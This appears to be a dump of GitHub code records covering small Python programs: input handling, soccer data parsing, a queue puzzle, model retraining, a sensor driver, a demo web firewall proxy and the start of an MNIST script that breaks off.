or Q to return no value\ndef askForNumber(msg1, interrupt=False):\n while True:\n try:\n usrInput = input(msg1)\n x = float(usrInput)\n # exit the 'while' loop using 'break' when positive number was entered\n if x>0:\n break\n # Return NoneType if interrupt is allowed and 0 was selected\n elif(interrupt and x==0): \n return\n else:\n # print error message if number smaller or equal to 0 was entered\n print(\"\\n\\tInput value has to be greater than 0\\n\")\n except ValueError:\n # Return NoneType if interrupt is allowed q key was selected\n if(interrupt and (usrInput==\"Q\" or usrInput==\"q\")):\n return\n else:\n # print error message if string was entered\n print(\"\\n\\tThis is not a valid number. Please try Again.\\n\")\n return x\n\n# Ask user for number to be squared and precision (optional, can be skipped by pressing 0)\nnumber_input=askForNumber(\"Please enter any positive number: \")\nprecision_input =askForNumber(\"Please enter precision (press '0' or 'q' to use default precission): \", True)\n\n# Check if calculation precission was selected\nif(precision_input is None):\n # if it wasn't entered, call sqrRoot with one argument only\n result = sqrRoot(number_input)\nelse:\n # if ot was selected, call sqrRoot with both arguments\n result = sqrRoot(number_input, precision_input)\n\n# print the result\nprint(\"\\n\\tThe square root of {} is approximately {:.4f}\\n\".format(number_input, result))","repo_name":"przemekbil/pand-problem-sheet","sub_path":"WK06/squareroot.py","file_name":"squareroot.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32425405991","text":"import pandas as pd\nimport numpy as np\nimport pickle\nimport os\nfrom lxml import etree\nfrom absl import flags, app\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string('game_dir', None, '')\nflags.DEFINE_string('player_file', None, '')\nflags.DEFINE_string('output_use_player', None, '')\nflags.DEFINE_string('output_player_info', None, '')\n\n# ------select palyers------\ndef get_time(minute, sec):\n return int(minute)*60 + int(sec)\n\ndef get_player_time_df(xml):\n # team set up\n set_up = xml.xpath('//Event[@type=\"Team set up\"]')\n def get_from_setup(set_up, qid):\n return sum([[x.strip() for x in event.xpath('Q[@qualifier_id=\"%s\"]' % qid)[0].get('value').split(',')] for event in set_up], [])\n position_list = get_from_setup(set_up, '44')\n player_list = get_from_setup(set_up, '30')\n player_df = pd.DataFrame({'player':player_list, 'position':position_list})\n # ending time\n total_time = max([get_time(event.get('min'), event.get('sec')) for event in xml.xpath('//Event[@type=\"End\"]')])\n # ignore injury-time of first half\n player_df.loc[player_df.position!='5', 'start'] = 0\n player_df.loc[:, 'end'] = total_time\n # player on, get start time\n player_on = xml.xpath('//Event[@type=\"Player on\"]')\n player_on_list = [(event.get('player_id'), get_time(event.get('min'), event.get('sec'))) for event in player_on]\n for item in player_on_list:\n player_df.loc[player_df.player==item[0], 'start'] = item[1]\n # player off, get end time\n player_off = xml.xpath('//Event[@type=\"Player Off\"]')\n player_off_list = [(event.get('player_id'), get_time(event.get('min'), event.get('sec'))) for event in player_off]\n for item in player_off_list:\n player_df.loc[player_df.player==item[0], 'end'] = item[1]\n player_df = player_df.loc[player_df.start.notna()].copy()\n player_df.loc[:,'time'] = (player_df.end - player_df.start)\n return player_df\n\n# loop through all games\ngame_dir = FLAGS.game_dir\nall_games = [f for f in os.listdir(game_dir) if os.path.isfile(os.path.join(game_dir, f))]\nplayer_time_list = [get_player_time_df(etree.parse(os.path.join(game_dir,x))) for x in all_games]\nplayer_time_df = pd.concat(player_time_list)\nplayer_s = player_time_df.groupby('player')['time'].sum()\n\n# players with time>800\nplayer_s = player_s.loc[player_s>(800*60)]\n\n# players change\nplayer_file = FLAGS.player_file\nxml = etree.parse(player_file)\nplayerChanges = xml.xpath('//PlayerChanges')[0]\nplayerChanges = playerChanges.xpath('Team/Player')\nplayerid = []\nleave_date = []\nfor x in playerChanges:\n playerid.append(x.get('uID')[1:])\n leave_date.append(x.xpath('Stat[@Type=\"leave_date\"]')[0].text)\nplayerChanges_df = pd.DataFrame({'player':playerid, 'leave_date':leave_date})\n\n# remove changing players\nplayer_s = player_s.loc[list(set(list(player_s.index)) - set(list(playerChanges_df.player)))]\n\n# save use players\noutput_use_player = FLAGS.output_use_player\nwith open(output_use_player, 'wb') as handle:\n pickle.dump(set(player_s.index), handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\n# ------get player info------\ndef decide_side(x):\n if x in ('Left','Right','Left/Right'):\n return 'side'\n elif x == 'Centre':\n return 'centre'\n else:\n return 'multi'\n\nplayer_id = []\nplayer_name = []\nposition = []\nreal_position = []\nreal_position_side = []\njersey_num = []\nfor element in xml.xpath('SoccerDocument/Team/Player'):\n player_id.append(element.get('uID')[1:])\n player_name.append(element.xpath('Name')[0].text)\n position.append(element.xpath('Position')[0].text)\n real_position.append(element.xpath(\"Stat[@Type='real_position']\")[0].text)\n real_position_side.append(element.xpath(\"Stat[@Type='real_position_side']\")[0].text)\n jersey_num.append(element.xpath(\"Stat[@Type='jersey_num']\")[0].text)\nall_player_df = pd.DataFrame({'player_id':player_id, 'player_name':player_name, 'position':position, \n 'real_position':real_position, 'real_position_side':real_position_side, \n 'jersey_num':jersey_num}, index=player_id)\nall_player_df['position_use'] = all_player_df.position + '-' + all_player_df.real_position_side.map(decide_side)\n\n# drop_duplicates and save\nall_player_df = all_player_df.drop_duplicates(subset='player_id', keep='last')\noutput_player_info = FLAGS.output_player_info\nall_player_df.to_csv(output_player_info, sep='\\t', index=False)\n","repo_name":"Logosxxw/challenge_PSG","sub_path":"code/players.py","file_name":"players.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"2287482418","text":"#https://www.acmicpc.net/problem/11866\n\nfrom collections import deque\n\nN, K = map(int, input().split())\n\ndq = deque()\n\nfor i in range(1, N+1):\n dq.append(i)\n\ncount = 1\nresults = []\n\nwhile dq:\n if count % K == 0:\n results.append(dq.popleft())\n else:\n dq.append(dq.popleft())\n count += 1\n\nprint(\"<\",end=\"\")\nfor i in range(len(results)):\n if i == len(results) -1:\n print(results[i], end=\"\")\n break\n print(str(results[i]) + \", \", end=\"\")\nprint(\">\")","repo_name":"Myunwoo/algorithm_study","sub_path":"solved.ac_2/baek11866.py","file_name":"baek11866.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19604241752","text":"import gc\r\nimport shutil\r\nfrom pathlib import Path\r\n\r\nimport pandas as pd\r\nimport torch\r\nfrom sklearn.preprocessing import MultiLabelBinarizer\r\n\r\nfrom make_evaluation import form_eval\r\nfrom tagc.domain import Params\r\nfrom tagc.evaluation import expert_eval, form_pred\r\nfrom tagc.io_utils import dump_datazip, dump_json, load_datazip, load_json\r\nfrom tagc.model import Classification, StandaloneModel\r\nfrom tagc.train import Pipeline\r\nfrom tagc.validation import eval_model\r\n\r\n\r\nclass ContinueTrainer:\r\n def __init__(\r\n self,\r\n init_model_p,\r\n eval_ret=\"mona_j.csv\",\r\n dataset_p=\"stdDs.zip\",\r\n ori_eval_p=\"outputsS/eval.json\",\r\n unlabelled_p=\"outputsK/unlabelled.json\",\r\n outdir=\"feedbackM\",\r\n ):\r\n self.init_model_p = init_model_p\r\n self.eval_ret = eval_ret\r\n self.dataset_p = dataset_p\r\n self.ori_eval_p = ori_eval_p\r\n self.unlabelled_p = unlabelled_p\r\n self.outdir = outdir\r\n\r\n Path(self.outdir).mkdir(exist_ok=True, parents=True)\r\n shutil.copyfile(self.dataset_p, f\"{outdir}/dataset0.zip\")\r\n shutil.copyfile(self.ori_eval_p, f\"{outdir}/eval0.json\")\r\n self.ds = load_datazip(self.dataset_p)\r\n self.mlb = MultiLabelBinarizer().fit(self.ds.y_tags)\r\n self.df = pd.read_csv(eval_ret).drop_duplicates(\r\n subset=[\"ID\", \"Judge\"], keep=\"last\"\r\n )\r\n\r\n def run(self, batch_size):\r\n outdir = self.outdir\r\n eval_stem = Path(self.eval_ret).stem\r\n for idx, step in enumerate(range(0, len(self.df), batch_size), start=1):\r\n batch_df = self.df.iloc[step : step + batch_size]\r\n if len(batch_df) < batch_size:\r\n break\r\n batch_eval_p = f\"{outdir}/{eval_stem}{idx}.csv\"\r\n batch_df.to_csv(batch_eval_p, index=None)\r\n base_path = f\"{outdir}/dataset{idx-1}.zip\"\r\n eval_json = f\"{outdir}/eval{idx-1}.json\"\r\n self._step(batch_eval_p, base_path, eval_json, idx)\r\n\r\n def _step(self, batch_eval_p, base_path, eval_json, idx_marker):\r\n outdir = self.outdir\r\n eval_over = expert_eval(batch_eval_p, form_pred(eval_json))\r\n dump_json(f\"{outdir}/eval_over{idx_marker}.json\", eval_over)\r\n ds = self._add_training(\r\n batch_eval_p,\r\n base_path,\r\n idx_marker=idx_marker,\r\n )\r\n self._continue_train(ds, idx_marker=idx_marker)\r\n eval_over = expert_eval(\r\n batch_eval_p, form_pred(f\"{outdir}/eval{idx_marker}.json\")\r\n )\r\n dump_json(f\"{outdir}/eval_over_after{idx_marker}.json\", eval_over)\r\n\r\n def _add_training(\r\n self,\r\n eval_ret: str,\r\n base_path,\r\n idx_marker=1,\r\n ):\r\n outdir = self.outdir\r\n unlabelled_p = self.unlabelled_p\r\n ds = load_datazip(base_path)\r\n df = pd.read_csv(eval_ret).drop_duplicates(subset=[\"ID\", \"Judge\"], keep=\"last\")\r\n indices = df[\"ID\"].to_list()\r\n sampled_cases = load_json(unlabelled_p)\r\n add_texts = [sampled_cases[idx] for idx in indices]\r\n y_true_ = df[\"eval\"].map(lambda x: x.split(\", \")).to_list()\r\n\r\n ds.x_train_dict = ds.x_train_dict + add_texts\r\n ds.y_train_tags = ds.y_train_tags + y_true_\r\n ds.x_dict = ds.x_dict + add_texts\r\n ds.y_tags = ds.y_tags + y_true_\r\n dsp = dump_datazip(ds, f\"{outdir}/dataset{idx_marker}.zip\")\r\n print(dsp)\r\n return ds\r\n\r\n def _continue_train(\r\n self,\r\n rawdata,\r\n over=5,\r\n epoch=10,\r\n idx_marker=1,\r\n ):\r\n outdir = self.outdir\r\n params = Params(\r\n rawdata, 150, 200, 0.5, \"bert-base-uncased\", True, epoch, self.mlb\r\n )\r\n pipeline = Pipeline(params)\r\n pipeline.model = Classification.from_pretrained(self.init_model_p)\r\n model_p = f\"{outdir}/model\"\r\n pipeline.train(output_dir=model_p)\r\n standalone_model = StandaloneModel(pipeline.model, max_len=150, keep_key=True)\r\n form_eval(\r\n standalone_model,\r\n pipeline.mlb,\r\n outdir=outdir,\r\n marker=str(idx_marker),\r\n skip_state=True,\r\n )\r\n eval_model(\r\n standalone_model,\r\n rawdata,\r\n over,\r\n pipeline.mlb,\r\n outdir,\r\n idx_marker,\r\n )\r\n\r\n del pipeline\r\n del standalone_model\r\n shutil.rmtree(model_p)\r\n gc.collect()\r\n with torch.no_grad():\r\n torch.cuda.empty_cache()\r\n\r\n\r\ndef main(\r\n init_model_p,\r\n eval_ret=\"mona_j.csv\",\r\n dataset_p=\"stdDs.zip\",\r\n ori_eval_p=\"outputsS/eval.json\",\r\n unlabelled_p=\"outputsS/unlabelled.json\",\r\n outdir=\"feedbackM\",\r\n batch_size=100,\r\n):\r\n trainer = ContinueTrainer(\r\n init_model_p,\r\n eval_ret=eval_ret,\r\n dataset_p=dataset_p,\r\n ori_eval_p=ori_eval_p,\r\n unlabelled_p=unlabelled_p,\r\n outdir=outdir,\r\n )\r\n trainer.run(batch_size)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n from fire import Fire\r\n\r\n Fire(main)\r\n","repo_name":"KiyoshiMu/tagC","sub_path":"feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":5106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26600934599","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 15 17:50:46 2019\n\n@author: victor\n\"\"\"\n\nclass Solution:\n def isValid(self, s: str) -> bool:\n stack = []\n rightPare = {')':'(', '}':'{',']':'['}\n top = -1\n for i in s:\n if i in rightPare and top != -1:\n if rightPare[i] == stack[top]:\n top -= 1\n stack.pop()\n else:\n return False\n else:\n stack.append(i) \n top += 1\n if top == -1:\n return True\n else:\n return False\n\nclass Solution:\n def isValid(self, s: str) -> bool:\n left = {'}':'{',']':'[',')':'('}\n stack = []\n for i in s:\n if i not in left:\n stack.append(i)\n else:\n if not stack:\n return False\n right = stack.pop()\n if not left.get(i) == right:\n return False\n if stack:\n return False\n else:\n return True\n \n \n'''\nclass Solution:\n def isValid(self, s: str) -> bool:\n stack = []\n rightPare = {')':'(', '}':'{',']':'['}\n for i in s:\n if i not in rightPare:\n stack.append(i)\n elif not stack or rightPare[i] != stack.pop():\n return False\n return not stack\n'''","repo_name":"gianttomatoes/leetcode","sub_path":"20_ValidParentheses.py","file_name":"20_ValidParentheses.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24257731927","text":"\"\"\"\r\nCopyright (C) 2020 Piek Solutions LLC\r\n\r\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\r\n\r\n1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\r\n\r\n2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\r\n\r\n3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\r\n\r\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\n\"\"\"\r\n\r\nimport requests\r\nimport binascii\r\nfrom codecs import getencoder\r\nimport time\r\n\r\n\r\ndef enforce_hex(addr):\r\n if type(addr) == int and addr < 256:\r\n return hex(addr).lstrip('0x')\r\n elif type(addr) == str:\r\n return addr.lstrip('0x')\r\n else:\r\n raise ValueError('addr must be hex string or int < 256')\r\n\r\n\r\ndef scanI2c(ip):\r\n \"\"\"\r\n scans devices on i2c bus\r\n :return: list of hex string addresses present on i2c bus\r\n \"\"\"\r\n try:\r\n req_url = 'http://' + ip + '/i2c/scan'\r\n resp = requests.get(url=req_url)\r\n return resp.content.decode('utf-8')\r\n except ValueError:\r\n print(\"i2c failed scan\")\r\n\r\n\r\nclass I2cHttpDevice:\r\n\r\n def __init__(self, ip, dev_addr):\r\n # device address should be hex string\r\n self.url = 'http://' + ip + '/i2c/'\r\n self.dev_addr = enforce_hex(dev_addr)\r\n\r\n def read(self, reg_addr, len_read):\r\n \"\"\"\r\n read len_read bytes starting from register reg_addr\r\n :param reg_addr: (str) register address to read in hex\r\n :param len_read: (int) number of bytes to read\r\n :return: bytestring of data\r\n \"\"\"\r\n assert len_read < 256, \"num of bytes to read cannot exceed 255\"\r\n\r\n hex_reg_addr = enforce_hex(reg_addr)\r\n\r\n try:\r\n req_url = '%sread/%s/%s/%d' % (self.url, self.dev_addr, hex_reg_addr, len_read)\r\n resp = requests.get(url=req_url)\r\n return binascii.a2b_hex(resp.content)\r\n except ValueError:\r\n print(\"i2c failed read\")\r\n\r\n def write(self, reg_addr, data, len_data=0):\r\n \"\"\"\r\n :param reg_addr: (str) register address to write to in hex\r\n :param data: (str or bytes) hex-encoded bytes, ie: '014ce8'\r\n :param len_data: (optional int) dummy variable to support code portability\r\n :return: None\r\n \"\"\"\r\n\r\n hex_reg_addr = enforce_hex(reg_addr)\r\n if type(data) == bytes:\r\n # to work across python 2+3:\r\n # https://izziswift.com/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3/\r\n data = getencoder('hex')(data)[0].decode('ascii')\r\n\r\n try:\r\n req_url = '%swrite/%s/%s/%s' % (self.url, self.dev_addr, hex_reg_addr, data)\r\n requests.get(url=req_url)\r\n except ValueError:\r\n print(\"i2c device 0x%s failed write\" % self.dev_addr)\r\n\r\n\r\nclass BME280(I2cHttpDevice):\r\n \"\"\"\r\n Bosch BME280\r\n https://www.bosch-sensortec.com/media/boschsensortec/downloads/datasheets/bst-bme280-ds002.pdf\r\n\r\n code adapted from BME280.py, http://abyz.me.uk/rpi/pigpio/examples.html (2016-08-05)\r\n This example shows that porting the original code to use the Wifi\r\n Papaya Controller is straightforward and minimal\r\n \"\"\"\r\n\r\n _calib00 = 0x88\r\n\r\n _T1 = 0x88 - _calib00\r\n _T2 = 0x8A - _calib00\r\n _T3 = 0x8C - _calib00\r\n\r\n _P1 = 0x8E - _calib00\r\n _P2 = 0x90 - _calib00\r\n _P3 = 0x92 - _calib00\r\n _P4 = 0x94 - _calib00\r\n _P5 = 0x96 - _calib00\r\n _P6 = 0x98 - _calib00\r\n _P7 = 0x9A - _calib00\r\n _P8 = 0x9C - _calib00\r\n _P9 = 0x9E - _calib00\r\n\r\n _H1 = 0xA1 - _calib00\r\n\r\n _chip_id = 0xD0\r\n _reset = 0xE0\r\n\r\n _calib26 = 0xE1\r\n\r\n _H2 = 0xE1 - _calib26\r\n _H3 = 0xE3 - _calib26\r\n _xE4 = 0xE4 - _calib26\r\n _xE5 = 0xE5 - _calib26\r\n _xE6 = 0xE6 - _calib26\r\n _H6 = 0xE7 - _calib26\r\n\r\n _ctrl_hum = 0xF2\r\n _status = 0xF3\r\n _ctrl_meas = 0xF4\r\n _config = 0xF5\r\n\r\n _rawdata = 0xF7\r\n _press = 0xF7\r\n _temp = 0xFA\r\n _humid = 0xFD\r\n\r\n _p_msb = 0xF7 - _rawdata\r\n _p_lsb = 0xF8 - _rawdata\r\n _p_xlsb = 0xF9 - _rawdata\r\n _t_msb = 0xFA - _rawdata\r\n _t_lsb = 0xFB - _rawdata\r\n _t_xlsb = 0xFC - _rawdata\r\n _h_msb = 0xFD - _rawdata\r\n _h_lsb = 0xFE - _rawdata\r\n\r\n _os_ms = [0, 1, 2, 4, 8, 16]\r\n\r\n def __init__(self, i2c_conn, gpib_addr, sampling):\r\n super().__init__(i2c_conn, gpib_addr)\r\n\r\n # additional initialization procedure\r\n self.sampling = sampling\r\n self._load_calibration()\r\n self.measure_delay = self._measurement_time(sampling, sampling, sampling)\r\n self.t_fine = 0.0\r\n\r\n def _s16(self, _calib, off):\r\n v = self._u16(_calib, off)\r\n if v > 32767:\r\n v -= 65536\r\n return v\r\n\r\n def _u16(self, _calib, off):\r\n return _calib[off] | (_calib[off + 1] << 8)\r\n\r\n def _u8(self, _calib, off):\r\n return _calib[off]\r\n\r\n def _s8(self, _calib, off):\r\n v = self._u8(_calib, off)\r\n if v > 127:\r\n v -= 256\r\n return v\r\n\r\n def _measurement_time(self, os_temp, os_press, os_hum):\r\n ms = ((1.25 + 2.3 * self._os_ms[os_temp]) +\r\n (0.575 + 2.3 * self._os_ms[os_press]) +\r\n (0.575 + 2.3 * self._os_ms[os_hum]))\r\n return ms / 1000.0\r\n\r\n def _load_calibration(self):\r\n\r\n d1 = self.read(self._calib00, 26)\r\n\r\n self.T1 = self._u16(d1, self._T1)\r\n self.T2 = self._s16(d1, self._T2)\r\n self.T3 = self._s16(d1, self._T3)\r\n\r\n self.P1 = self._u16(d1, self._P1)\r\n self.P2 = self._s16(d1, self._P2)\r\n self.P3 = self._s16(d1, self._P3)\r\n self.P4 = self._s16(d1, self._P4)\r\n self.P5 = self._s16(d1, self._P5)\r\n self.P6 = self._s16(d1, self._P6)\r\n self.P7 = self._s16(d1, self._P7)\r\n self.P8 = self._s16(d1, self._P8)\r\n self.P9 = self._s16(d1, self._P9)\r\n\r\n self.H1 = self._u8(d1, self._H1)\r\n\r\n d2 = self.read(self._calib26, 7)\r\n\r\n self.H2 = self._s16(d2, self._H2)\r\n\r\n self.H3 = self._u8(d2, self._H3)\r\n\r\n t = self._u8(d2, self._xE5)\r\n\r\n t_l = t & 15\r\n t_h = (t >> 4) & 15\r\n\r\n self.H4 = (self._u8(d2, self._xE4) << 4) | t_l\r\n\r\n if self.H4 > 2047:\r\n self.H4 -= 4096\r\n\r\n self.H5 = (self._u8(d2, self._xE6) << 4) | t_h\r\n\r\n if self.H5 > 2047:\r\n self.H5 -= 4096\r\n\r\n self.H6 = self._s8(d2, self._H6)\r\n\r\n def _read_raw_data(self):\r\n # write control bytes for oversampling config\r\n self.write(self._ctrl_hum, bytes([self.sampling]), 1)\r\n self.write(self._ctrl_meas, bytes([self.sampling << 5 | self.sampling << 2 | 1]), 1)\r\n time.sleep(self.measure_delay)\r\n\r\n # read 8 bytes starting from register self._rawdata\r\n d = self.read(self._rawdata, 8)\r\n\r\n # print(''.join(format(x, '02x') for x in d))\r\n msb = d[self._t_msb]\r\n lsb = d[self._t_lsb]\r\n xlsb = d[self._t_xlsb]\r\n raw_t = ((msb << 16) | (lsb << 8) | xlsb) >> 4\r\n\r\n msb = d[self._p_msb]\r\n lsb = d[self._p_lsb]\r\n xlsb = d[self._p_xlsb]\r\n raw_p = ((msb << 16) | (lsb << 8) | xlsb) >> 4\r\n\r\n msb = d[self._h_msb]\r\n lsb = d[self._h_lsb]\r\n raw_h = (msb << 8) | lsb\r\n\r\n return raw_t, raw_p, raw_h\r\n\r\n def read_temp(self):\r\n # write measurement control byte\r\n self.write(self._ctrl_meas, bytes([self.sampling << 5 | self.sampling << 2 | 1]), 1)\r\n time.sleep(self.measure_delay)\r\n\r\n # read 3 bytes starting from register self._temp\r\n d = self.read(self._temp, 3)\r\n\r\n # print(''.join(format(x, '02x') for x in d))\r\n msb, lsb, xlsb = d\r\n raw_t = ((msb << 16) | (lsb << 8) | xlsb) >> 4\r\n\r\n var1 = (raw_t / 16384.0 - (self.T1) / 1024.0) * float(self.T2)\r\n var2 = (((raw_t) / 131072.0 - (self.T1) / 8192.0) *\r\n ((raw_t) / 131072.0 - (self.T1) / 8192.0)) * (self.T3)\r\n\r\n self.t_fine = var1 + var2\r\n\r\n t = (var1 + var2) / 5120.0\r\n return t\r\n\r\n def read_data(self):\r\n raw_t, raw_p, raw_h = self._read_raw_data()\r\n\r\n var1 = (raw_t / 16384.0 - (self.T1) / 1024.0) * float(self.T2)\r\n var2 = (((raw_t) / 131072.0 - (self.T1) / 8192.0) *\r\n ((raw_t) / 131072.0 - (self.T1) / 8192.0)) * (self.T3)\r\n\r\n self.t_fine = var1 + var2\r\n\r\n t = (var1 + var2) / 5120.0\r\n\r\n var1 = (self.t_fine / 2.0) - 64000.0\r\n var2 = var1 * var1 * self.P6 / 32768.0\r\n var2 = var2 + (var1 * self.P5 * 2.0)\r\n var2 = (var2 / 4.0) + (self.P4 * 65536.0)\r\n var1 = ((self.P3 * var1 * var1 / 524288.0) + (self.P2 * var1)) / 524288.0\r\n var1 = (1.0 + var1 / 32768.0) * self.P1\r\n if var1 != 0.0:\r\n p = 1048576.0 - raw_p\r\n p = (p - (var2 / 4096.0)) * 6250.0 / var1\r\n var1 = self.P9 * p * p / 2147483648.0\r\n var2 = p * self.P8 / 32768.0\r\n p = p + (var1 + var2 + self.P7) / 16.0\r\n else:\r\n p = 0\r\n\r\n h = self.t_fine - 76800.0\r\n\r\n h = ((raw_h - ((self.H4) * 64.0 + (self.H5) / 16384.0 * h)) *\r\n ((self.H2) / 65536.0 * (1.0 + (self.H6) / 67108864.0 * h *\r\n (1.0 + (self.H3) / 67108864.0 * h))))\r\n\r\n h = h * (1.0 - self.H1 * h / 524288.0)\r\n\r\n if h > 100.0:\r\n h = 100.0\r\n elif h < 0.0:\r\n h = 0.0\r\n\r\n return t, p, h\r\n","repo_name":"papaya-iot/papaya-examples","sub_path":"python/papaya_i2chttpinst.py","file_name":"papaya_i2chttpinst.py","file_ext":"py","file_size_in_byte":10523,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"19143805213","text":"import socket,sqlite3\n\nfrom threading import Thread,Lock\nfrom importlib import reload\n\nfrom filter import do_filter\nfrom response import do_response\nfrom log import do_log\nimport config as C\nfrom utils import log\n\nimport common\n\n# 全局变量，代理主socket和连接池\nproxy_server_socket = None\nproxy_conn_pool = []\n\n# 全局变量，数据库连接\ndb_conn = None\n\n# 互斥锁\nlock = Lock()\n\n'''\n处理请求\n'''\ndef handle_socket(client_conn):\n\n\tBUF_SIZE = 2048 # 缓冲区大小\n\tclient_req = ''\n\tclient_conn.settimeout(C.CLIENT_SOCKET_TIMEOUT)\n\ttry:\n\t\t# 缓冲区不满说明读取完毕，否则还应继续读取\n\t\twhile True:\n\t\t\tbuf = client_conn.recv(BUF_SIZE).decode('utf-8')\n\t\t\tclient_req += buf\n\t\t\tif len(buf) < BUF_SIZE:\n\t\t\t\tbreak\n\t\tlog(\"接收到请求:\\n------\\n\" + client_req + '\\n------',1)\n\n\texcept Exception as e:\n\t\tprint(\"超时了，接收到的信息如下\\n-------\\n\"+client_req+\"\\n------\")\n\t\tprint(e)\n\t\treturn\n\t\n\tif not client_req:\n\t\tlog(\"出现空请求，丢弃\",1)\n\t\treturn\n\n\tip = client_conn.getpeername()[0]\n\tlog(\"请求ip:\"+ip,1)\n\n\taction = do_filter(client_req,ip,common.compiled_rules,common.blacklists,common.whitelists)\n\tdo_response(client_conn,client_req,action)\n\tlog(\"-----------请求处理完毕。---------\",1)\n\n'''\nWAF核心模块控制连接，用于异步更新、确认存活等\n'''\ndef handle_controller():\n\n\tlog(\"已经开启控制连接\",1)\n\n\t# 初始化 server socket\n\tcontroller_server_socket = socket.socket()\n\tcontroller_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\tcontroller_server_socket.bind((\"0.0.0.0\", C.CONTROLLER_PORT))\n\tcontroller_server_socket.listen(1024)\n\n\twhile True:\n\t\tconn,addr = controller_server_socket.accept()\n\n\t\tlog(\"建立控制连接\",1)\n\t\tlog(str(conn.getpeername())+\"-->\"+str(conn.getsockname()),1)\n\n\t\tthread = Thread(target = handle_ctlmsg, args=(conn,))\n\t\tthread.setDaemon(True)\n\t\tthread.start()\n\n\tlog(\"控制连接出错\",2)\n\n'''\n处理控制信息\n'''\ndef handle_ctlmsg(conn):\n\tmsg = ''\n\tBUF_SIZE = 1024\n\ttry:\n\t\t# 缓冲区不满说明读取完毕，否则还应继续读取\n\t\twhile True:\n\t\t\tbuf = conn.recv(BUF_SIZE).decode('utf-8')\n\t\t\tmsg += buf\n\t\t\tif len(buf) < BUF_SIZE:\n\t\t\t\tbreak\n\t\tlog(\"接收到控制信息: \" + msg ,1)\n\texcept Exception as e:\n\t\tprint(\"超时了，接收到的信息如下:\"+msg)\n\t\tprint(e)\n\t\tconn.close()\n\t\treturn\n\n\tif not msg:\n\t\tlog(\"出现空请求，丢弃\",1)\n\t\tconn.close()\n\t\treturn\n\n\tmsg = msg.strip()\n\n\tif msg == C.CONTROL_UPDATE:\n\n\t\timport common\n\t\treload(common)\n\n\t\tconn.sendall(\"FINISHED\".encode())\n\t\tconn.close()\n\t\tlog(\"完成规则更新\",1)\n\telif msg == C.CONTROL_CONFIRM:\n\t\tconn.sendall(C.CONTROL_CONFIRM.encode())\n\t\tconn.close()\n\t\tlog(\"心跳包，确认存活\",0)\n\telse:\n\t\tconn.sendall(\"INVALID COMMAND\".encode())\n\t\tconn.close()\n\t\tlog(\"非法信息！\",2)\n\n\n'''\n初始化工作、代理主循环\n将连接放入连接池，并创建新线程处理\nTODO:与管理端的交互，热更新规则\n'''\ndef proxy_main_loop():\n\n\t# 初始化 serversocket\n\tproxy_server_socket = socket.socket()\n\tproxy_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\tproxy_server_socket.bind((\"0.0.0.0\", C.PROXY_PORT))\n\tproxy_server_socket.listen(1024)\n\n\t# 开启控制线程\n\tcontrol_thread = Thread(target = handle_controller)\n\tcontrol_thread.setDaemon(True)\n\tcontrol_thread.start()\n\n\twhile True:\n\t\t# 每来一个连接创建新线程，加入连接池\n\t\tclient_conn, addr = proxy_server_socket.accept()\n\t\tproxy_conn_pool.append(client_conn)\n\n\t\tlog(\"建立连接\",1)\n\t\tlog(str(client_conn.getpeername())+\"-->\"+str(client_conn.getsockname()),1)\n\n\t\tthread = Thread(target = handle_socket, args=(client_conn,))\n\t\tthread.setDaemon(True)\n\t\tthread.start()\n\ndef __main__():\n\tproxy_main_loop()\n\nif __name__ == \"__main__\":\n\t__main__()","repo_name":"RaidriarB/Simple-WAF-Demo","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"8358113181","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport torch.nn.init\n\ntorch.manual_seed(777)\n\nlearning_rate = 0.01\ntraining_epochs = 15\nbatch_size = 100\n\nmnist_train = dset.MNIST(root='MNIST_data/', train=True, 